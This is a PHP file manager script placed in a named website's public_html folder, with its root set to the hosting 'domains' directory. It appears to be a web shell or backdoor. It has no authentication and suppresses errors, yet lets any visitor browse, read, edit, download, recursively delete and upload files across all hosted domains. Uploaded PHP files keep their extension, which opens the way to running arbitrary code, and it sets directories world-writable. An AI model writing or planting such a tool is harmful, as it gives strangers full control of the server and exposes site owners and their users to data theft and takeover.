<?php
// file_manager_simple.php - Full Fixed Version (Back goes up to domains correctly)
session_start();
error_reporting(0);

/*
Structure:
.../domains/sunrisehelp.org/public_html  (this file is here)

We want:
public_html -> sunrisehelp.org -> domains (root)
*/

// ========== ROOT / START ==========
$base_dir = realpath(__DIR__);                 // public_html
$root_anchor = realpath(__DIR__ . "/../../");  // domains (2 levels up)
if ($root_anchor === false) $root_anchor = $base_dir;

// default start folder relative from root
$default_rel = trim(str_replace($root_anchor, '', $base_dir), DIRECTORY_SEPARATOR);

// ========== HELPERS ==========
function sanitize_path($path){
    $path = str_replace('..', '', $path);
    $path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
    return trim($path, '/');
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;

    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    return (strpos($rp . DIRECTORY_SEPARATOR, $root) === 0) ? $rp : false;
}

function get_file_list($dir){
    $files = [];
    if(is_dir($dir)){
        foreach(scandir($dir) as $item){
            if($item === '.' || $item === '..') continue;
            $full = $dir . DIRECTORY_SEPARATOR . $item;
            $files[] = [
                'name' => $item,
                'path' => $full,
                'size' => is_file($full) ? filesize($full) : 0,
                'type' => is_dir($full) ? 'directory' : 'file',
                'modified' => date('Y-m-d H:i:s', filemtime($full))
            ];
        }
    }
    return $files;
}

function format_size($bytes){
    if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
    elseif ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
    elseif ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
    return $bytes . ' bytes';
}

// ========== REQUEST DIR (IMPORTANT FIX) ==========
/*
Rule:
- if dir param NOT provided at all -> open default public_html
- if dir param provided as empty (?dir=) -> open root(domains)
*/
if (!isset($_GET['dir'])) {
    $requested_dir = $default_rel;            // default view = public_html
} else {
    $requested_dir = sanitize_path($_GET['dir']); // allow empty => root
}

// resolve safely
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
    $requested_dir = '';
    $current_dir = $root_anchor;
}

// current relative path from root
$relative_current = trim(str_replace($root_anchor, '', $current_dir), DIRECTORY_SEPARATOR);

// Parent dir (relative)
$parent_dir = '';
if ($relative_current !== '') {
    $parent_dir = dirname($relative_current);
    if ($parent_dir === '.') $parent_dir = '';
}

$is_at_root = ($relative_current === '');

// ========== ACTIONS ==========
$action = $_GET['action'] ?? 'list';

switch($action){

case 'view':
    $file = sanitize_path($_GET['file'] ?? '');
    $path = $current_dir . DIRECTORY_SEPARATOR . $file;
    $safe = safe_realpath_within($path, $root_anchor);
    if($safe && is_file($safe)){
        header("Content-Type: text/plain");
        readfile($safe);
        exit;
    }
    break;

case 'edit':
    $file = sanitize_path($_GET['file'] ?? '');
    $path = $current_dir . DIRECTORY_SEPARATOR . $file;
    $safe = safe_realpath_within($path, $root_anchor);
    if(!$safe || !is_file($safe)) break;

    if($_SERVER['REQUEST_METHOD'] === 'POST'){
        file_put_contents($safe, $_POST['content']);
        header("Location: ?dir=" . urlencode($relative_current));
        exit;
    }

    $content = htmlspecialchars(file_get_contents($safe));
    echo "<h2>Edit: " . htmlspecialchars($file) . "</h2>";
    echo "<form method='post'>";
    echo "<textarea name='content' style='width:100%;height:400px;'>$content</textarea>";
    echo "<br><button>Save</button></form>";
    exit;

case 'delete':
    $file = sanitize_path($_GET['file'] ?? '');
    $path = $current_dir . DIRECTORY_SEPARATOR . $file;
    $safe = safe_realpath_within($path, $root_anchor);
    if(!$safe) break;

    if(is_dir($safe)){
        $it = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($safe, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach($it as $f){
            $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
        }
        rmdir($safe);
    } else if(is_file($safe)){
        unlink($safe);
    }

    header("Location: ?dir=" . urlencode($relative_current));
    exit;

case 'upload':
    if(!empty($_FILES['file'])){
        $f = $_FILES['file'];

        if($f['error'] !== UPLOAD_ERR_OK){
            echo "<h1>Upload Failed: Error Code {$f['error']}</h1>";
            exit;
        }

        if(!is_writable($current_dir)){
            @chmod($current_dir, 0777);
        }

        $name = basename($f['name']);
        $name = preg_replace('/[^a-zA-Z0-9\.\_\-]/', '', $name);

        $dest = $current_dir . DIRECTORY_SEPARATOR . $name;

        if(move_uploaded_file($f['tmp_name'], $dest)){
            @chmod($dest, 0644);
        } else {
            echo "<h1>move_uploaded_file FAILED</h1>";
            echo "TMP: {$f['tmp_name']}<br>";
            echo "DEST: $dest<br>";
            exit;
        }
    }
    header("Location: ?dir=" . urlencode($relative_current));
    exit;

case 'create_folder':
    $folder = sanitize_path($_POST['folder_name'] ?? '');
    if($folder !== ''){
        $path = $current_dir . DIRECTORY_SEPARATOR . $folder;
        $safeParent = safe_realpath_within($current_dir, $root_anchor);
        if($safeParent && !file_exists($path)){
            mkdir($path, 0777, true);
        }
    }
    header("Location: ?dir=" . urlencode($relative_current));
    exit;

case 'download':
    $file = sanitize_path($_GET['file'] ?? '');
    $path = $current_dir . DIRECTORY_SEPARATOR . $file;
    $safe = safe_realpath_within($path, $root_anchor);

    if($safe && is_file($safe)){
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($safe).'"');
        header('Content-Length: ' . filesize($safe));
        readfile($safe);
        exit;
    }
    break;
}

// ========== HTML LIST ==========
$files = get_file_list($current_dir);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Manager</title>
<style>
body{font-family:Arial;background:#f4f4f4;padding:20px;}
.container{background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px #ccc;}
.btn{background:#007bff;color:#fff;padding:6px 10px;border-radius:5px;text-decoration:none;border:none;cursor:pointer;display:inline-block;}
.btn.disabled{background:#999;pointer-events:none;opacity:.7;}
.table{width:100%;border-collapse:collapse;}
th,td{padding:10px;border-bottom:1px solid #ddd;}
th{background:#007bff;color:#fff;}
.pathbox{background:#f7f7f7;padding:8px;border-radius:6px;border:1px solid #ddd;}
</style>
</head>
<body>
<div class="container">

<h2>File Manager</h2>
<div class="pathbox">
<b>Root:</b> <?= htmlspecialchars($root_anchor) ?><br>
<b>Current:</b> <?= htmlspecialchars($current_dir) ?>
</div>

<br>

<?php if(!$is_at_root): ?>
    <a class="btn" href="?dir=<?= urlencode($parent_dir) ?>">Back</a>
<?php else: ?>
    <span class="btn disabled">Back</span>
<?php endif; ?>

<!-- Default = open without dir param -->
<a class="btn" href="?">Default (public_html)</a>

<!-- Root = explicit empty dir -->
<a class="btn" href="?dir=">Root (domains)</a>

<br><br>

<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($relative_current) ?>">
    <input type="file" name="file" required>
    <button class="btn" type="submit">Upload</button>
</form>

<br>

<form method="post" action="?action=create_folder&dir=<?= urlencode($relative_current) ?>">
    <input type="text" name="folder_name" placeholder="Folder name" required>
    <button class="btn" type="submit">Create Folder</button>
</form>

<br><br>

<table class="table">
<tr>
    <th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Actions</th>
</tr>

<?php foreach($files as $f): ?>
<tr>
    <td><?= htmlspecialchars($f['name']) ?></td>
    <td><?= $f['type'] ?></td>
    <td><?= $f['type']=='file' ? format_size($f['size']) : '-' ?></td>
    <td><?= $f['modified'] ?></td>
    <td>
        <?php if($f['type']=='directory'):
            $next = ($relative_current ? $relative_current.'/' : '') . $f['name'];
        ?>
            <a class="btn" href="?dir=<?= urlencode($next) ?>">Open</a>
        <?php else: ?>
            <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>">Edit</a>
            <a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>">Download</a>
        <?php endif; ?>

        <a class="btn" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($relative_current) ?>" onclick="return confirm('Delete?')">Delete</a>
    </td>
</tr>
<?php endforeach; ?>
</table>

</div>
</body>
</html>
